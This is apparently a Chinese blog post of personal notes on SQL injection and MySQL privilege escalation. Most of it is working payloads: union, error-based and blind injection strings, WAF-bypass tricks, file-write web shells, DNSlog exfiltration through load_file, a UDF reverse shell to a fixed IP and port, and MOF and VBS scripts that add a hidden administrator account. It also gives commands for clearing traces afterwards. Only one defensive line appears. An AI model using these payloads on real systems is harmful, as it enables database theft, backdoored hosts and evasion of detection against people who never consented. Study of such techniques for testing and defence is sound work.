基本SQL注入分析

SQL注入原理

1、标准注入流程

  • 猜测目标指令内容

    select xx from xx where ‘xx’ limit1,0;

    • 常见闭合方式 ‘ “ ‘) “) ‘)) “)) 或者无闭合

    • 闭合方式的错误如!!!!!重要

      select username,password from user where id =('$id')
      直接加闭合,如果报错就对了,因为你破坏了正常闭合,如果加闭合不报错,就没有破坏如'"'
      是不会报错,但是'''会报错 如果是 or 任何情况都不报错
      加上注释--+两次无变化,不是其闭合
      

      where id=1 and 1 ⇒ where (id=1) and 1 where id = 1 or 1 ⇒ where (id=1) or 1 where id=(1 and 1) 和where id=(1 or 1)⇒ where id =(1)

  • 试错

    1) \ 转义 2)观察报错信息(掐头去尾:把前后多余的单引号或者双引号去掉,有时两个单引号会特别像双引号 )

  • 验证错误

    1)完整的闭合加注释(用来注释掉后面的闭合) 2)—或者#单行注释 /**/多行注释 —+注释加空格

  • 查列

    order by num(利用二分法找到目标指令有几个列)

  • 查列在页面显示情况

    -2‘ (用闭合方式让前面成为完整语句且报错(结果为空))union select 1,2,3(根据上面的列数) —+

  • 查库

    -2’ union select 1,database(),3 —+

    version()select banner from v$version
    uesr()
    @@datadir
  • 查表,列

    1)-2’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema =database() —+ 改成刚刚查到的库名 2)-2’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema =database() —+ 也可以用刚刚查到的表名 即 table_name =’users’ (!!!!!!!)屏蔽‘’ 用table_name = 0x75736572 3)union select table_name,null from information_schema.tables 4)oracle : union select table_name from all_tables union select table_name from user_tables union select column_name from all_tab_columns

  • 查内容

    -2’ union select 1,group_concat(password),3 from users —+ 刚刚查到的表和列

2.报错注入

输入错误报错,但输入正确什么也不显示(不显示需要的东西)

2’ AND (select 1 from (select count(**),concat(0x3a,0x3a,(*select database())*,0x3a,0x3a,floor(rand()**2))a from information_schema.tables group by a) b)

select 1 必须有 然后红色的可以改成需要的 原理 *floor(rand()**2) 返回0或1 当全是1或全是2时group by报错(因为无法分类)

floor 向下取整 ceil 向上取整 ABS绝对值 round(value,precision)四舍五入 rand() 开区间(0,1)

快捷1)extractvalue(1,concat(0x3a,database())) updatexml(1,concat(0x7a,(select database()),0x7a),1)

3.布尔盲注

无报错,也无正确显示,但以上两者显示不一样

and ( select ascii(substr(select database(),1,1))= 45 ) 去试紫色的 符号先用<,>二分确定范围(从1没有0 开始截取1个)

4.outfile注入和load file注入

如果payload含有闭合的” ‘ 可用十六进制

将信息保存到网站上文件上,直接访问(在本地的sql文件夹里的mysql.ini 加secure_file_priv=)

into outfile “path”

into dumpfile”path”

1)select * from table1 into outfile “/var/www/html/1.txt” 蓝色是网站文件且每次都要不同 2)select load_file “/etc/passwd“ into outfile “/var/www” 3)union select 1,’’,3 into outfile “/var/www/html/1.php” —+执行PHP记得保存为php !!!!注意红色引号 绿色是和python的eval一样

dnslog 1)网站https://www.dnslog.cn 然后get subdomain获得这个网站当前可用的子域名 2)1‘ if((select load_file(concat(’\\\\’,(select database()),’.你获得的subdomain\\abc随便写’))),1,0)

5.时间盲注

什么也没有

and if (( select ascii(substr(select database(),1,1))= 45),sleep(5),null) 判断加载时间

6.POST注入

可以利用burpsuite

$u = _POST["user"]
$p = _POST["passwd"]
select * from table1 where user ="$u" and password ="$p" limit 0,1;
update table set password="$p" where user="$u";

‘ or ‘1’ = ’1’ union select database() #

UPDATE: password=’’ or 1=1# user =’admin ’ 会将所有user密码改为1

6.头注入

先打个正经的东西

获得我们的信息(收集用户信息)干什么呢 添加到数据库

User-Agent 和Referer和Cookies

update into 'database'.'table' ('user-agent','ip_address','user') values ('user-agent','ip_address','user')

其中ip储存非常完善不易攻破 因为基本上不能用注释符所以用报错注入 冲冲冲 example ‘ and extractvalue(1,concat(0x3a,(select database()),0x3a)) or ‘1’ =’1

Cookies(刷新后自动登入,意味着刷新抓包)

7.waf注释

屏蔽or and 空格 —+ # /**/ -

%09水平tab
%0a新建一行
%0b垂直tab
%0c新建一页
%0d回车键
%a0空格键(大多数)
0或200000屏蔽减号不报错
&&

无空格写法 1)select(username)from(users)where(id)like(1); //()里面只能放一个所以多个项用group_concat且不能使用通配符 * 2)select(group_concat(username,password))from(users)where(id)like(1);

将注释符url encode

小提示1)一般情况下中文是无法直接url编码传输的需要先base64 2)一般最后面有=的一串字符考虑base64加密

8.重置密码越权

注册一个新用户,通过修改密码来达到修给高级用户的密码

$old_passwd=_POST['old_passwd']
$passwd1=_POST['passwd1']
$passwd2=_POST['passwd2']
if $passwd1 == $passwd2{
update table set passwd='$passwd1' where user ='$user' and old_passwd='$old_passwd'
}
#user一般是在上一页留下来的cookies

1)创建用户 admin‘# 密码随意 2)在新用户admin‘#选择重置密码 3)用新密码登录admin

9.宽字节注入

原理

当我们输入‘时会被加入\此时可以加入一个大于128(ASCII)的字符从而使\和字符变成一个汉字

%df’ →%df\’→%df%5c’→字’从而使\无效

%5c\
%27
%df%5c 或者%bf%5c或者%aa%5c一个中国字

POST请求时需要在post包把%df%27urldecode

或者尝试十六进制绕过

防御 set character_set_client = binary

10.屏蔽

1)union select

  • 大小写unNion SelEcT

    10000' unIon seLect 1,2,3 ’ ⇒闭合后select xxx where id=’10000' unIon seLect 1,2,3 ’ ‘;也是可执行的

  • 双写ununion seselectect

    防火墙删一次剩下union select 同理可以多用几层

  • 注释符un//ion se//lect 还可以替换空格

  • 内联函数 /!select/

  • <>绕过 un<>ion se<>lect

  • 反引号

    反引号只能在表名,一般情况下如果表名和语法一样,那么就必须用反引号修饰,否则数据库会误以为这是语法!!!!!!!!!!!!!!!!!!!!!!

    select username,password from table1where id='1' limit 0,1

2)编码绕过(多次编码绕过)

比如屏蔽自己的数据库 ‘security’ 可以用他的编码

3)空格和or和and绕过(上有)

4)逗号屏蔽

  • substr((select database()),1,1) substr((select database())from 1 for 1)

  • select 1,2,3 select * from (select 1)a join (select 2)b join (select 3)c

  • limit 0,1 limit 0 offset 1

5)sleep屏蔽

benchmark(100000,1)

6)group_concat屏蔽

concat_ws(“”,’x‘,’y’)

7)=屏蔽

like rlike regexp <>

8)post #屏蔽

—空格a

9)ip地址拦截

X-forwarded-for

X-remote-IP

X-Originating-IP

X-remote-addr

X-Real-Ip

10)修改静态资源

http://www.xx.com/sql.php?id=1

可以替换为

http://www.xx.com/sql.php/1.js?id=1

11)url白名单

为了防止防火墙误伤,部分waf内置白名单列表 admin manager system....

http://www.xx.com/sql.php/admin.php?id=1

http://www.xx.com/sql.php?xxxx=/manager/&b=攻击代码

http://www.xx.com/../../../../manager/../sql.php?id=1

12)爬虫白名单

伪造自己是搜索引擎(修改user-agent)

13)数据库注释执行

/!50001 select * from table1/;

如果数据库版本是5.00.01 版本以下的,语句才会执行

/*!45509 union select */ 1,2,3 --+

14)增加干扰

union all %23%a0 select 1,2,3 --+

11.特殊防御

1)账号密码分离

$query = "SELECT * FROM users WHERE username='$username'";
        
        if (false === ($result = $db->queryFirst($query))) {
                echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
                return false;
        }
        
        
        #############################
        ### This is the new check ###
        if ($result['password'] !== $password) {
                echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
                return false;
        } #  End of the new code  ###
        #############################

SELECT * FROM users WHERE username='$username'

SELECT * FROM users WHERE username=' x' union select 1,'admin',md5('haha') #'

返回的res里面提取的数据是伪造的

2)多个一样的变量

UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1

?vote_for=bill`=111,`george`=`george

UPDATE noescvotes SET `bill`=111,`george`=`george`=`bill`=111,`george`=`george`+1 WHERE id=1

3)mysql数据库漏洞

select * from users where id=’1)’ ⇒ select * from users where id=’1’

4)堆叠注入

屏蔽select update delete insert 语句

原语句为select * from table1 where id = '1';
我们所需信息在table2的secret里面
1'; show databases;
1'; show tables;
1'; show colunms from table1;
rename table `table1` to `xxxx`;
rename table `table2` to `table1`;
alter table `table` change `secret` `id`;
此时键id对应的值为secret的值
之后只需使where成立
1' or '1 就可以查到secret

INSERT INTO table1 (key1,key2) VALUES(”1”,”2”),(database(),”3”)

可以用,分开从而一次插两个

  1. sql 分块传输

Transfer-Encoding:Chunked

2

id

2

=1

0

12.提权

  • UDF提权

    • 关键文件udf.dll位置

      ### 1、 Mysql < 5.0

      导出路径随意。

      ### 2、 5.0 <= Mysql < 5.1

      Win2000导出路径: C:/Winnt/udf.dll

      其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll

      ### 3、 Mysql >= 5.1

      Mysql安装目录的lib\plugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的,需要自行创建。

      sqlmap有ib_mysqludf_sys_32.dll将其转换为十六进制创建udf.dll

    1)准备工作

    确认权限

    show variables like '%secure%'; 是否能写入文件

    select * from mysql.user where user = substring_index(user(), '@', 1)\G;

    确认数据库绝对路径

    select @@basedir as basePath from dual ;
    show variables like '%basedir%';

    确认数据库版本信息

    select version();

    select variables like %complie%

    2)将udf.dll导出

    sqlmap和msf自带高权限的udf.dll

    sqlmap根目录/data/udf/mysql自带加密 可用sqlmap自带的cloak

    python3 cloak.py -d -i加密的udf.dll -o udf.dll

    MSF 根目录/embedded/framework/data/exploits/mysql

    3)修改udf.dll导入

    直接十六进制写入,然后

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'

    select sys_eval('whoami');

    drop function sys_eval;删除防止被发现

    反弹shell

    CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';

    select backshell("10.20.24.244", 2333);

  • MOF提权

    winserver2003

    构建脚本

    **#pragma namespace("\\\\.\\root\\subscription") 
    
    instance of __EventFilter as $EventFilter 
    { 
        EventNamespace = "Root\\Cimv2"; 
        Name  = "filtP2"; 
        Query = "Select * From __InstanceModificationEvent " 
                "Where TargetInstance Isa \"Win32_LocalTime\" " 
                "And TargetInstance.Second = 5"; 
        QueryLanguage = "WQL"; 
    }; 
    
    instance of ActiveScriptEventConsumer as $Consumer 
    { 
        Name = "consPCSV2"; 
        ScriptingEngine = "JScript"; 
        ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
    }; 
    
    instance of __FilterToConsumerBinding 
    { 
        Consumer   = $Consumer; 
        Filter = $EventFilter; 
    };**
    

    上传脚本

    mysql > select 十六进制的脚本 into dumpfile "C:/windows/system32/wbem/mof/test.mof";

    清除痕迹

    # 停止 winmgmt 服务
    net stop winmgmt
    
    # 删除 Repository 文件夹
    rmdir /s /q C:\Windows\system32\wbem\Repository\
    
    # 手动删除 mof 文件
    del C:\Windows\system32\wbem\mof\good\test.mof /F /S
    
    # 删除创建的用户
    net user hacker /delete
    
    # 重新启动服务
    net start winmgmt
    
  • 启动项提权

    vbs脚本

    Set WshShell=WScript.CreateObject("WScript.Shell")
    WshShell.Run "net user hacker P@ssw0rd /add", 0
    WshShell.Run "net localgroup administrators hacker /add", 0
    

    上传十六进制C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vb

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值